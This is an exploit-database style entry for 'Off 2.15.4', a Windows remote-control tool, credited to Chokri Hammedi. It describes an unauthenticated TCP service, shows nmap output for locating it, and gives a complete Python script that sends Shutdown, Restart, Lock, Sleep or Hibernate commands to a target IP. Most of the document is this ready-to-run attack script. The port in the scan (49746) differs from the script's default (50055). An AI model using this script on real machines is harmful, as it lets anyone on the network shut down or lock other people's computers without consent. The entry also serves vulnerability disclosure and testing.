📄 Off 2.15.4 Unauthenticated Remote System Control

# Exploit Title: Off 2.15.4 - Unauthenticated Remote System Control
    (Shutdown/Restart/Lock/Sleep/Hibernate)
    # Date: 25/06/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.bridgetech.io
    # Software Link: https://www.bridgetech.io/OffWindows_Latest.zip
    # Version: 2.15.4
    # Tested on: Windows 10 (Build 19044)
    
    '''
    Description:
    
    Off 2.15.4 exposes a TCP service that accepts remote commands like
    Shutdown, Restart, Lock, Sleep, and Hibernate without any authentication.
    
    Identification:
    
    nmap -sV --version-intensity 0 -T5 -p- 192.168.8.105
    
    output:
    PORT      STATE SERVICE VERSION
    49746/tcp open  unknown
    1 service unrecognized despite returning data. If you know the
    service/version, please submit the following fingerprint at
    https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port49746-TCP:V=7.94SVN%I=0%D=6/25%Time=685B86E0%P=x86_64-pc-linux-gnu%
    SF:r(NULL,9,"unlocked\n");
    
    should return "unlocked".
    
    '''
    #!/usr/bin/env python3
    
    import socket
    import argparse
    import sys
    
    def control_pc(ip, port, action):
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.connect((ip, port))
                s.send(b"Hello\x0a")
                s.recv(1024)
                s.send((action + "\x0a").encode())
                print(f"Sent {action} command")
        except Exception as e:
            print(f"Error: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("--lock", action="store_true")
        parser.add_argument("--shutdown", action="store_true")
        parser.add_argument("--restart", action="store_true")
        parser.add_argument("--hibernate", action="store_true")
        parser.add_argument("--sleep", action="store_true")
        parser.add_argument("--ip", default="192.168.8.105")
        parser.add_argument("--port", type=int, default=50055)
    
        args = parser.parse_args()
    
        actions = {
            "Lock": args.lock,
            "Shutdown": args.shutdown,
            "Restart": args.restart,
            "Hibernate": args.hibernate,
            "Sleep": args.sleep
        }
    
        selected = [a for a, v in actions.items() if v]
    
        if len(selected) != 1:
            print("Specify one action")
            sys.exit(1)
    
        control_pc(args.ip, args.port, selected[0])